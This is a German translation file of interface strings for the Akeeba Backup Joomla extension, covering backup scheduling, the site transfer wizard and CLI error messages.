COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_WEBCRON="WebCron.org"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDBACKUP_TAB_WGET="WGet"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTENDCHECK="Frontend-Backup-Prüffunktion"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_CURL="CRON-Planung mit curl (macOS, Linux, einige Hosts):"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_CUSTOMSCRIPT="Benutzerdefiniertes PHP-Skript zum Ausführen des Frontend-Backups:"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_DISABLED="Die Frontend-Backup-Funktion von Akeeba Backup ist nicht aktiviert. Sie können diese Planungsmethode erst verwenden, wenn Sie sie aktivieren. Bitte gehen Sie zum Akeeba Backup-Kontrollbereich, klicken Sie auf die Schaltfläche „Optionen" in der Werkzeugleiste und aktivieren Sie die Frontend-Backup-Funktion. Vergessen Sie nicht, auch ein Geheimwort Ihrer Wahl anzugeben."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_RAWURL="URL zur Verwendung mit eigenen Skripten und Drittanbieterdiensten:"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_SECRET="Der Geheimschlüssel der Frontend-Backup-Funktion ist leer. Sie können diese Planungsmethode erst verwenden, wenn Sie einen Geheimschlüssel erstellen. Bitte gehen Sie zum Akeeba Backup-Kontrollbereich, klicken Sie auf die Schaltfläche „Optionen" in der Werkzeugleiste und geben Sie einen Geheimschlüssel Ihrer Wahl ein."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON="Konfiguration eines Backup-Auftrags mit WebCron.org:"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_ALERTS="Benachrichtigungen"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_ALERTS_INFO="Wenn Sie bereits Benachrichtigungsmethoden in der webcron.org-Oberfläche eingerichtet haben, empfehlen wir, hier eine Benachrichtigungsmethode auszuwählen und „Nur bei Fehler" nicht zu aktivieren, damit Sie immer eine Benachrichtigung erhalten, wenn der Backup-CRON-Auftrag ausgeführt wird."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_EXECUTIONTIME="Ausführungszeit"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_EXECUTIONTIME_INFO="Das ist das Raster unter den anderen Optionen. Wählen Sie aus, wann und wie oft Ihr CRON-Auftrag ausgeführt werden soll."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_INFO="Melden Sie sich bei webcron.org an. Klicken Sie im CRON-Bereich auf die Schaltfläche „Neues CRON". Unten finden Sie, was Sie in der webcron.org-Oberfläche eingeben müssen."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_LOGIN="Anmeldung"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_LOGINPASSWORD_INFO="Lassen Sie dies leer"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_NAME="Name des CRON-Auftrags"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_NAME_INFO="Alles, was Ihnen gefällt, z. B. <em>Backup meiner Website</em>"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_PASSWORD="Passwort"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_THENCLICKSUBMIT="Klicken Sie abschließend auf die Schaltfläche „Senden", um die Einrichtung Ihres CRON-Auftrags abzuschließen."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_TIMEOUT="Zeitüberschreitung"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_TIMEOUT_INFO="180 Sekunden; wenn das Backup nicht abgeschlossen wird, erhöhen Sie den Wert. Die meisten Websites funktionieren mit einer Einstellung von 180 oder 600 hier. Wenn Sie eine sehr große Website haben, deren Backup mehr als 5 Minuten dauert, sollten Sie Akeeba Backup Professional und den nativen CLI-CRON-Auftrag in Betracht ziehen, da er wesentlich kosteneffizienter ist."
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WEBCRON_URL="Auszuführende URL"
COM_AKEEBABACKUP_SCHEDULE_LBL_FRONTEND_WGET="CRON-Planung mit wget (die meisten Hosts, die meisten Linux-Distributionen):"
COM_AKEEBABACKUP_SCHEDULE_LBL_GENERICREADDOC="Dokumentation lesen"
COM_AKEEBABACKUP_SCHEDULE_LBL_GENERICUSECLI="Verwenden Sie den folgenden Befehl in der CRON-Oberfläche Ihres Hosts:"
COM_AKEEBABACKUP_SCHEDULE_LBL_HEADERINFO="Akeeba Backup bietet verschiedene Planungsmethoden. Weitere Informationen zu jeder Planungsmethode finden Sie unten. Bitte lesen Sie die Dokumentation zu jeder Planungsmethode. Sie wird viele Ihrer Fragen beantworten und Ihnen helfen, Ihre Backups einfacher zu planen."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPIBACKUP="Remote-Backup (JSON API)-Funktion"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPIBACKUP_INFO="Sie können diese Methode verwenden, um Backups Ihrer Website remote mit unserer Software zu erstellen, die eine solche Funktion unterstützt (z. B. Akeeba Remote CLI und Akeeba UNiTE)."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_DISABLED="Bitte gehen Sie zu Akeeba Backup, klicken Sie auf „Optionen" und dann auf die Registerkarte „Frontend". Setzen Sie „JSON API (Remote-Backup) aktivieren" auf „Ja", um diese Funktion zu aktivieren."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI="Akeeba Remote CLI"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI_INTRO="Sie können die Akeeba Remote CLI-Befehlszeilenanwendung verwenden, um Backups Ihrer Websites remote zu erstellen. Sie können diese Befehle auf Ihrem Computer oder einem anderen Server planen, um Ihre Backups zu automatisieren."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI_DOCKER="Um ein Backup mit Akeeba Remote CLI über <strong>Docker</strong> zu erstellen, führen Sie den folgenden Befehl aus:"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ARCCLI_PHAR="Um ein Backup mit Akeeba Remote CLI über das <strong>PHAR-Archiv</strong> zu erstellen, das Sie von unserer Website herunterladen können, führen Sie den folgenden Befehl aus:"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_OTHER="Andere Tools"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_INTRO="Wenn Sie Akeeba UNiTE oder andere Software verwenden, die die Remote JSON API nutzt, müssen Sie die folgenden Informationen angeben."
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_ENDPOINT="Endpunkt-URL"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_SECRET="Geheimschlüssel"
COM_AKEEBABACKUP_SCHEDULE_LBL_JSONAPI_DISCLAIMER="Akeeba Ltd unterstützt keine Drittanbieter-Software oder -Dienste, die über die JSON API mit Akeeba Backup kommunizieren, übernimmt keine Haftung und bietet keinen Support dafür. Wir bieten Support für Backups mit der Akeeba JSON API nur, wenn der Geheimschlüssel automatisch von unserer Software generiert wird und die Anfrage die Verwendung unserer eigenen Akeeba JSON API-Client-Software betrifft (z. B. Akeeba Remote CLI)."
COM_AKEEBABACKUP_SCHEDULE_LBL_LEGACYAPI_DISABLED="Bitte gehen Sie zu Akeeba Backup, klicken Sie auf „Optionen" und dann auf die Registerkarte „Frontend". Setzen Sie „Legacy-Frontend-Backup-API aktivieren (Remote-CRON-Jobs)" auf „Ja", um diese Funktion zu aktivieren."
COM_AKEEBABACKUP_SCHEDULE_BTN_ENABLE_LEGACYAPI="Legacy-Frontend-Backup-API aktivieren"
COM_AKEEBABACKUP_SCHEDULE_BTN_ENABLE_JSONAPI="Akeeba JSON API aktivieren"
COM_AKEEBABACKUP_SCHEDULE_BTN_RESET_SECRETWORD="Geheimschlüssel zurücksetzen"
COM_AKEEBABACKUP_SCHEDULE_LBL_RUN_BACKUPS="Backups ausführen"
COM_AKEEBABACKUP_SCHEDULE_LBL_UPGRADENOW="Jetzt aktualisieren"
COM_AKEEBABACKUP_SCHEDULE_LBL_UPGRADETOPRO="Diese Funktion ist nur in Akeeba Backup Professional verfügbar"
COM_AKEEBABACKUP_SCHEDULE_LBL_CONSOLEPLUGINDISALBED_HEAD="Das Plugin <em>Konsole – Akeeba Backup</em> ist deaktiviert."
COM_AKEEBABACKUP_SCHEDULE_LBL_CONSOLEPLUGINDISALBED_BODY="Bitte gehen Sie zu System, Verwalten, Plugins und aktivieren Sie „Konsole – Akeeba Backup". Es ist für das Funktionieren dieser Funktion notwendig."

COM_AKEEBABACKUP_SCHEDULE_LBL_CHECK_UPLOADS="Backup-Uploads prüfen"
COM_AKEEBABACKUP_SCHEDULE_LBL_CHECK_UPLOADS_HEADERINFO="<p>Wenn ein Backup das Hochladen des Backups in den konfigurierten Remote-Speicher fehlschlägt, wird es typischerweise nicht als Backup-Fehler angesehen (es sei denn, Sie haben ausdrücklich ausgewählt, es als Fehler zu behandeln). Das liegt daran, dass das Backup-Archiv noch auf Ihrem Server vorhanden ist. Sie müssen jedoch zu Ihrer Website zurückkehren und den Upload auf der Seite „Sicherungen verwalten" wiederholen – möglicherweise auch etwaige Verbindungsprobleme mit dem Remote-Speicher beheben.</p><p>Das typische Problem dabei ist, dass Sie möglicherweise nicht wissen, dass der Upload fehlgeschlagen ist. Hier kommt die Backup-Upload-Prüfung ins Spiel. Planen Sie sie so, dass sie nach dem normalen Ende Ihrer geplanten Backups ausgeführt wird, und sie sendet Ihnen eine E-Mail, wenn eines Ihrer seit der letzten Prüfung erstellten Backups in den konfigurierten Remote-Speicher hochzuladen fehlgeschlagen ist.</p><p>Sie können diese Prüfung mit verschiedenen Methoden planen, genau wie das Backup selbst. Unten finden Sie weitere Informationen zu jeder verfügbaren Planungsmethode für Backup-Upload-Prüfungen. Wenn Sie unsicher sind, welche Sie verwenden sollen, empfehlen wir, dieselbe Planungsmethode wie für Ihre Backups zu verwenden.</p>"


COM_AKEEBABACKUP_TITLE_ALICES="Fehlerbehebung – ALICE"

COM_AKEEBABACKUP_TRANSFER="Website-Transfer-Assistent"
COM_AKEEBABACKUP_TRANSFER_BTN_FTP_PROCEED="Mit der Wiederherstellung fortfahren"
COM_AKEEBABACKUP_TRANSFER_BTN_OPEN_KICKSTART="Kickstart ausführen"
COM_AKEEBABACKUP_TRANSFER_BTN_RESET="Zurücksetzen"
COM_AKEEBABACKUP_TRANSFER_DESC="Überträgt das Archiv, indem die Nachbearbeitungsengine \"%s\" auf das Archiv angewendet wird."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTACCESSTESTFILE="Akeeba Backup kann nicht überprüfen, ob die eingegebenen Verbindungsinformationen der eingegebenen Website-URL entsprechen. Wenn Sie versuchen, in einem Unterverzeichnis einer bestehenden Website wiederherzustellen, bedeutet das, dass die Hauptwebsite den Zugriff auf das Unterverzeichnis blockiert; bitte wenden Sie sich an Ihren Website-Administrator. In allen anderen Fällen haben Sie falsche Verbindungsinformationen eingegeben, höchstwahrscheinlich ein falsches Verzeichnis. Wenden Sie sich bitte an Ihren Host und fragen Sie nach den korrekten Verbindungsinformationen, <em>einschließlich des Verzeichnisses</em>, das der von Ihnen in diesem Assistenten eingegebenen URL entspricht. Kommen Sie dann hierher zurück, geben Sie die richtigen Informationen ein und fahren Sie mit der Wiederherstellung fort."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTREADLOCALFILE="Akeeba Backup kann die lokale Backup-Datei <code>%s</code> nicht lesen. Dieser Assistent ist fehlgeschlagen. Bitte erstellen Sie ein neues Backup und versuchen Sie es erneut. Beachten Sie, dass Dateien auf Ihrem neuen Server zurückgelassen wurden; Sie möchten diese möglicherweise manuell entfernen."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTRUNKICKSTART="Akeeba Backup kann Akeeba Kickstart auf Ihrer neuen Website nicht ausführen. Wenn Sie versuchen, in einem Unterverzeichnis einer bestehenden Website wiederherzustellen, bedeutet das, dass die Hauptwebsite den Zugriff auf das Unterverzeichnis blockiert; bitte wenden Sie sich an Ihren Website-Administrator. Andernfalls müssen Sie Ihren Host kontaktieren und überprüfen, ob Ihre Standard-PHP-Version den Mindestanforderungen von Kickstart entspricht."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADARCHIVE="Akeeba Backup kann die Backup-Datei <code>%s</code> nicht hochladen. Es ist möglich, dass der Server Ihrer neuen Website keinen Speicherplatz mehr hat oder ein Server-Schutz die Datenübertragung blockiert. Bitte versuchen Sie, Ihre Website durch Auswahl der Option „Manuell übertragen" zu übertragen. Beachten Sie, dass Dateien auf Ihrem neuen Server zurückgelassen wurden; Sie möchten diese möglicherweise manuell entfernen."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADKICKSTART="Akeeba Backup kann Akeeba Kickstart nicht in das Stammverzeichnis Ihrer neuen Website hochladen. Bitte überprüfen Sie, ob Sie die richtigen Verbindungsinformationen eingegeben haben und ob der FTP/SFTP-Benutzer Dateien in das ausgewählte Verzeichnis schreiben kann. Wenn Sie kickstart.php und kickstart.transfer.php bereits auf der Remote-Website haben, entfernen Sie diese bitte, bevor Sie den Transfer Ihrer Website erneut versuchen."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADTEMP="Akeeba Backup kann einen Teil Ihres Backup-Archivs nicht von der lokalen Datei <code>%s</code> in die Remote-Datei <code>%s</code> hochladen. Bitte überprüfen Sie, ob Ihr Remote-Server das Hochladen von Dateien erlaubt und genügend Speicherplatz für Ihre Backup-Archivdatei(en) hat."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTUPLOADTESTFILE="Akeeba Backup kann keine Testdatei namens <code>%s</code> in das Stammverzeichnis Ihrer neuen Website hochladen. Bitte überprüfen Sie, ob Sie die richtigen Verbindungsinformationen eingegeben haben und ob der FTP/SFTP-Benutzer Dateien in das ausgewählte Verzeichnis schreiben kann."
COM_AKEEBABACKUP_TRANSFER_ERR_CANNOTWRITEREMOTEFILES="Leider hat Akeeba Backup festgestellt, dass es keine Dateien direkt auf Ihrem Remote-Server schreiben kann. Dieser Assistent kann nicht fortfahren. Sie müssen die Übertragungsmethode „Manuell" verwenden."
COM_AKEEBABACKUP_TRANSFER_ERR_CANTCREATETEMPCHUNK="Eine temporäre Datei auf diesem Server kann nicht erstellt werden. Bitte überprüfen Sie, ob Ihr temporäres Verzeichnis korrekt eingerichtet und vom Benutzer, unter dem der Webserver läuft, beschreibbar ist."
COM_AKEEBABACKUP_TRANSFER_ERR_COMPLETEBACKUP="Kein solches Backup gefunden. Klicken Sie auf die Schaltfläche „Jetzt sichern", um jetzt ein neues Backup zu erstellen."
COM_AKEEBABACKUP_TRANSFER_ERR_DNS="Der Domänenname der eingegebenen URL (%s) kann vom Server, auf dem Akeeba Backup läuft, nicht aufgelöst werden. Wenn Sie den Domänennamen kürzlich registriert oder übertragen haben, erlauben Sie bitte mehr Zeit, bis die DNS-Server aktualisiert werden (normalerweise 6 bis 48 Stunden). Andernfalls überprüfen Sie bitte die DNS-Einstellungen Ihres Domänennamens."
COM_AKEEBABACKUP_TRANSFER_ERR_ERRORFROMREMOTE="Akeeba Backup hat einen Fehler vom Remote-Server erhalten, während es versucht hat, das Backup-Archiv hochzuladen. Der Fehler war: %s"
COM_AKEEBABACKUP_TRANSFER_ERR_EXISTINGSITE="An diesem Standort existiert bereits eine andere Website. Bitte entfernen Sie die bestehende Website, bevor Sie eine neue Website dorthin übertragen. Der Versuch, eine bestehende Website zu überschreiben, führt höchstwahrscheinlich zu einer kaputten Website, die Sie nicht reparieren können."
COM_AKEEBABACKUP_TRANSFER_ERR_HTACCESS="Eine <code>%s</code>-Datei wurde im Stammverzeichnis Ihrer neuen Website gefunden. Diese Datei kann den Website-Transferprozess beeinträchtigen. Bitte entfernen Sie sie, bevor Sie mit dem Website-Transfer fortfahren. Beachten Sie, dass die Datei möglicherweise <em>versteckt</em> ist. Wenn Sie diese Datei nicht in Ihrem Hosting-Kontrollbereich-Datei-Browser oder FTP-Client-Software sehen, fragen Sie bitte Ihren Host, wie Sie diese Datei entfernen können."
COM_AKEEBABACKUP_TRANSFER_ERR_INVALIDID="Interner Fehler: Die hochzuladende Backup-ID ist ungültig oder fehlt."
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_BTN="Prüfen"
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_BTN_IGNOREERROR="Ich möchte diese Warnung ignorieren und <strong>auf eigenes Risiko</strong> fortfahren"
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_INVALID="Die eingegebene URL ist ungültig."
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_NOTEXISTS="Ihr Server kann nicht auf die eingegebene URL zugreifen. Bitte überprüfen Sie, ob Sie sie korrekt eingegeben haben. Beachten Sie auch, dass neu zugewiesene oder übertragene Domänennamen <strong>bis zu 48 Stunden</strong> dauern können, bevor sie für jeden Server und Computer im Internet sichtbar sind."
COM_AKEEBABACKUP_TRANSFER_ERR_NEWURL_SAME="Die eingegebene URL ist dieselbe wie die, von der Sie wiederherstellen. Dies wird von diesem Assistenten nicht unterstützt. Für die Backup-Wiederherstellung ohne Verwendung des Assistenten konsultieren Sie bitte unser Video-Tutorial über den Link unten."
COM_AKEEBABACKUP_TRANSFER_ERR_NOTENOUGHSPACE="Der Website-Transfer kann nicht fortgesetzt werden. Sie benötigen ungefähr %s freien Speicherplatz, aber Ihr Server meldet, dass derzeit nur %s verfügbar ist. Bitte schaffen Sie mehr Speicherplatz auf Ihrem Server."
COM_AKEEBABACKUP_TRANSFER_ERR_OVERRIDE="Erkannte Fehler ignorieren und Website trotzdem übertragen"
COM_AKEEBABACKUP_TRANSFER_ERR_SAMESITE="Sie haben die Verbindungsinformationen zur Website eingegeben, von der Sie übertragen. <strong>Ihr Fehler hätte Ihre eigene Website gelöscht</strong>. Sie müssen die FTP/SFTP-Verbindungsinformationen für die Website eingeben, auf die Sie übertragen <strong>möchten</strong> (neue Website oder neuer Server). Bitte korrigieren Sie die Informationen oben und versuchen Sie es erneut."
COM_AKEEBABACKUP_TRANSFER_ERR_SPACE="Sie haben nur <span></span> freien Speicherplatz. Sie benötigen mehr freien Speicherplatz, um Ihre Website zu übertragen. Bitte kontaktieren Sie Ihren Host."
COM_AKEEBABACKUP_TRANSFER_ERR_WRONGSSL="Ihre Website hat ein ungültiges oder selbstsigniertes SSL-Zertifikat. Aus Sicherheitsgründen kann der Website-Transfer nicht fortgesetzt werden. Bitte klicken Sie auf „Zurücksetzen", um den Website-Transfer neu zu starten, und verwenden Sie eine URL ohne <code>https://</code>. Dies ist notwendig, wenn Sie versuchen, Ihre Website zu übertragen, bevor Sie Ihren Domänennamen auf den neuen Host übertragen. Alternativ wenden Sie sich bitte an Ihren Host, um ein gültiges SSL-Zertifikat zu erhalten. Sogar ein kostenloses, das über die kostenlose Let's Encrypt-Zertifizierungsstelle ausgestellt wurde, reicht aus."
COM_AKEEBABACKUP_TRANSFER_FORCE_BODY="Sie führen den Website-Transfer-Assistenten im erzwungenen Modus aus. Das bedeutet, dass einige Sicherheitsprüfungen, die normalerweise vor dem Website-Transfer durchgeführt werden, nicht ausgeführt werden. Als Ergebnis kann der Transfer eine bestehende Website überschreiben, in einer anderen URL als erwartet enden oder einfach fehlschlagen. <strong>Dies ist eine Funktion für Poweruser. Bitte fahren Sie nicht fort, wenn Sie sich damit nicht wohl fühlen.</strong>"
COM_AKEEBABACKUP_TRANSFER_FORCE_HEADER="Erzwungener Modus aktiviert"
COM_AKEEBABACKUP_TRANSFER_HEAD_MANUALTRANSFER="Manueller Transfer"
COM_AKEEBABACKUP_TRANSFER_HEAD_PREREQUISITES="Voraussetzungen"
COM_AKEEBABACKUP_TRANSFER_HEAD_REMOTECONNECTION="Verbindung zur neuen Website"
COM_AKEEBABACKUP_TRANSFER_HEAD_UPLOAD="Hochladen und wiederherstellen"
COM_AKEEBABACKUP_TRANSFER_LBL_CHUNKSIZE="Chunk-Größe"
COM_AKEEBABACKUP_TRANSFER_LBL_CHUNKSIZE_INFO="Die Backup-Archivdateien werden in kleinen Chunks auf den Remote-Server übertragen. Dies bestimmt die Größe dieser Chunks. Zu kleine Größen können dazu führen, dass der Remote-Server Sie blockiert, weil er Sie für einen Missbrauchsversuch hält, was zu einem Upload-Fehler führt. Zu große Größen können zu einem Zeitüberschreitungsfehler auf dem Quell- oder dem Remote-Server führen, was zu einem AJAX-Fehler führt. Normalerweise funktionieren Werte zwischen 5 MB und 20 MB am besten."
COM_AKEEBABACKUP_TRANSFER_LBL_COMPLETEBACKUP="Ein vollständiges Vollwebsite-Backup"
COM_AKEEBABACKUP_TRANSFER_LBL_COMPLETEBACKUP_INFO="Backup gefunden; erstellt am %s"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_DIRECTORY="FTP/SFTP-Verzeichnis"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_HOST="Hostname"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PASSIVE="Passiver Modus"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PASSWORD="Passwort"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PORT="Port"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PRIVATEKEY="SFTP Private-Key-Datei"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_PUBKEY="SFTP Public-Key-Datei"
COM_AKEEBABACKUP_TRANSFER_LBL_FTP_USERNAME="Benutzername"
COM_AKEEBABACKUP_TRANSFER_LBL_MANUALTRANSFER_INFO="Folgen Sie den Anweisungen im Video, um Ihre Website manuell zu übertragen. Informationen über das Backup-Archiv finden Sie unterhalb des Video-Links (nach unten scrollen)."
COM_AKEEBABACKUP_TRANSFER_LBL_MANUALTRANSFER_LINK="Video-Tutorial ansehen"
COM_AKEEBABACKUP_TRANSFER_LBL_MANUALTRANSFER_MULTIPART="Sie müssen <strong>alle</strong> %u Dateien übertragen:"
COM_AKEEBABACKUP_TRANSFER_LBL_NEWURL="Die URL zu Ihrer neuen Website"
COM_AKEEBABACKUP_TRANSFER_LBL_NEWURL_TIP="Geben Sie die URL der Website ein, auf die Sie wiederherstellen möchten"
COM_AKEEBABACKUP_TRANSFER_LBL_OPEN_KICKSTART_INFO="Kickstart ermöglicht es Ihnen, das Backup-Archiv zu extrahieren und die Wiederherstellung auf dem Remote-Server zu starten."
COM_AKEEBABACKUP_TRANSFER_LBL_SPACE="Ungefähr %s freier Speicherplatz auf Ihrer neuen Website"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD="Dateiübertragungsmethode"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTP="FTP, native PHP-Funktionen"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTPCURL="FTP, mit cURL"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTPS="FTPS, native PHP-Funktionen"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_FTPSCURL="FTPS, mit cURL"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_MANUALLY="Manuell"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_SFTP="SFTP, native PHP SSH2-Erweiterung"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMETHOD_SFTPCURL="SFTP, mit cURL"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE="Archiv-Übertragungsmodus"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE_CHUNKED="Über FTP / SFTP"
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE_INFO="Die Backup-Archivdateien werden in kleinen Chunks auf den Remote-Server übertragen und dort zu ganzen Dateien zusammengesetzt. Diese Option steuert, wie diese kleinen Chunks übertragen werden."
COM_AKEEBABACKUP_TRANSFER_LBL_TRANSFERMODE_POST="Über HTTP / HTTPS"
COM_AKEEBABACKUP_TRANSFER_LBL_UPLOAD_BACKUP="Backup-Archiv wird hochgeladen"
COM_AKEEBABACKUP_TRANSFER_LBL_UPLOAD_KICKSTART="Kickstart wird hochgeladen"
COM_AKEEBABACKUP_TRANSFER_LBL_VALIDATING="Wird überprüft…"
COM_AKEEBABACKUP_TRANSFER_MSG_DONE="Upload abgeschlossen!"
COM_AKEEBABACKUP_TRANSFER_MSG_FAILED="Das Hochladen des Backup-Archivs ist fehlgeschlagen."
COM_AKEEBABACKUP_TRANSFER_MSG_START="Upload Ihres Archivs wird vorbereitet. Dies kann einige Zeit dauern. Bitte warten Sie."
COM_AKEEBABACKUP_TRANSFER_MSG_UPLOADINGFRAG="Upload von Archivteil %s von %s wird fortgesetzt. Derzeit wird Chunk %s verarbeitet. Bitte warten Sie."
COM_AKEEBABACKUP_TRANSFER_MSG_UPLOADINGPART="Archivteil %s von %s wird hochgeladen. Bitte warten Sie."
COM_AKEEBABACKUP_TRANSFER_TITLE="Archiv übertragen"
COM_AKEEBABACKUP_TRANSFER_WARN_FIREWALLED_BODY="Einige der oben aufgelisteten und mit &#128274; markierten Übertragungsmethoden werden durch eine Firewall auf Ihrem Server blockiert. Wenn Sie sie verwenden, wird dieser Assistent höchstwahrscheinlich fehlschlagen. Bitte kontaktieren Sie Ihren Host und bitten Sie ihn, die Firewall zu deaktivieren oder Firewallausnahmen hinzuzufügen, bevor Sie Ihre Website übertragen. Alternativ wählen Sie bitte „Manuell" oben, klicken Sie auf „Mit der Wiederherstellung fortfahren" und folgen Sie den Anweisungen für einen manuellen Website-Transfer."
COM_AKEEBABACKUP_TRANSFER_WARN_FIREWALLED_HEAD="Server-Firewall blockiert Dateiübertragungen – DIESER ASSISTENT KANN FEHLSCHLAGEN"

COM_AKEEBABACKUP_FILTER_SELECT_FROZEN="– Eingefroren –"
COM_AKEEBABACKUP_FILTER_SELECT_PROFILEID="– Backup-Profil –"

COM_AKEEBABACKUP_CLI_ERR_CANNOT_LOAD_BACKUP_ENGINGE="Die Akeeba Backup-Engine kann nicht geladen werden."

COM_AKEEBABACKUP_CLI_ERR_CANNOT_GENERATE_YAML="YAML kann nicht generiert werden"
COM_AKEEBABACKUP_CLI_ERR_YAML_EXTENSION_NOT_FOUND="Ihre PHP-Installation hat die PHP YAML-Erweiterung nicht installiert oder aktiviert."
COM_AKEEBABACKUP_CLI_ERR_UNSET_TIME_LIMITS="Zeitlimitbeschränkungen konnten nicht aufgehoben werden; möglicherweise erhalten Sie einen Zeitüberschreitungsfehler."
COM_AKEEBABACKUP_CLI_ERR_NO_LIVE_SITE="Dieses Skript konnte die URL Ihrer Live-Website nicht erkennen. Bitte besuchen Sie die Akeeba Backup-Kontrollbereichsseite mindestens einmal, bevor Sie dieses Skript ausführen, damit diese Informationen für die Verwendung durch dieses Skript gespeichert werden können."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_DISABLED="Die Frontend-Backup-Funktion Ihrer Akeeba Backup-Installation ist derzeit deaktiviert. Bitte melden Sie sich als Super-User am Backend Ihrer Website an, gehen Sie zum Akeeba Backup-Kontrollbereich, klicken Sie auf das Optionssymbol in der oberen rechten Ecke und aktivieren Sie die Frontend-Backup-Funktion. Vergessen Sie nicht, auch ein Geheimwort festzulegen!"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_NOSECRET="Sie haben die Frontend-Backup-Funktion aktiviert, aber vergessen, ein Geheimwort festzulegen. Ohne ein gültiges Geheimwort kann dieses Skript nicht fortfahren. Bitte melden Sie sich als Super-Administrator am Backend Ihrer Website an, gehen Sie zum Akeeba Backup-Kontrollbereich, klicken Sie auf das Optionssymbol in der oberen rechten Ecke und legen Sie ein Geheimwort fest."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_NOMETHOD="Es konnte keine unterstützte Methode zum Ausführen der Frontend-Backup-Funktion von Akeeba Backup gefunden werden. Bitte überprüfen Sie mit Ihrem Host, ob mindestens eine der folgenden Funktionen in Ihrer PHP-Konfiguration unterstützt wird:"
COM_AKEEBABACKUP_CLI_ERR_FECHECK_NOMETHOD="Es konnte keine unterstützte Methode zum Ausführen der Frontend-Backup-Prüffunktion von Akeeba Backup gefunden werden. Bitte überprüfen Sie mit Ihrem Host, ob mindestens eine der folgenden Funktionen in Ihrer PHP-Konfiguration unterstützt wird:"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUPORCHECK_METHOD_CURL="1. Die cURL-Erweiterung"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUPORCHECK_METHOD_FOPEN="2. Die fopen() URL-Wrapper, d. h. allow_url_fopen ist aktiviert"
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_METHOD_NOMETHOD="Wenn keine der Methoden verfügbar ist, können Sie mit diesem CLI-Befehl kein Backup Ihrer Website erstellen."
COM_AKEEBABACKUP_CLI_ERR_FECHECK_METHOD_NOMETHOD="Wenn keine der Methoden verfügbar ist, können Sie mit diesem CLI-Befehl Ihre Website nicht auf fehlgeschlagene Backups prüfen."
COM_AKEEBABACKUP_CLI_ERR_FEBACKUP_HTTP_ERROR="Ihr Backup-Versuch ist mit dem HTTP-Fehlercode %d (%s) fehlgeschlagen. Bitte überprüfen Sie das Backup-Protokoll und das Fehlerprotokoll Ihres Servers für weitere Informationen."
